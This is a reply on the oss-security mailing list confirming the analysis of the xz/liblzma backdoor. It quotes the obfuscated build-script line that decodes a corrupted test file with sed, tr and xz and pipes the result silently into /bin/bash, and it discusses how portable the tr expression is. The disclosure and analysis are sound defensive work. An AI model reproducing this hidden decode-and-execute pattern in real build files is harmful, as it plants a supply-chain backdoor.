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Date: Fri, 29 Mar 2024 21:33:57 +0100
From: sjw@....ch
To: oss-security@...ts.openwall.com
Subject: Re: backdoor in upstream xz/liblzma leading to ssh
server compromise
Hi Andres,
Thank you for sharing your findings, I'm able to reproduce your results.
> which ends up as
> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
\-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
>
> Leaving out the "| bash" that produces
>
> ####Hello####
> [...]
The expression in the tr command might be a bit tricky to copy the
report because of the whitespace characters. The original expression is
found here:
https://salsa.debian.org/debian/xz-utils/-/blob/46cb28adbbfb8f50a10704c1b86f107d077878e6/m4/build-to-host.m4#L95
This kind of expression is not supported by BusyBox' implementation of
'tr'. GNU's and uutils' coreutils both worked for me.
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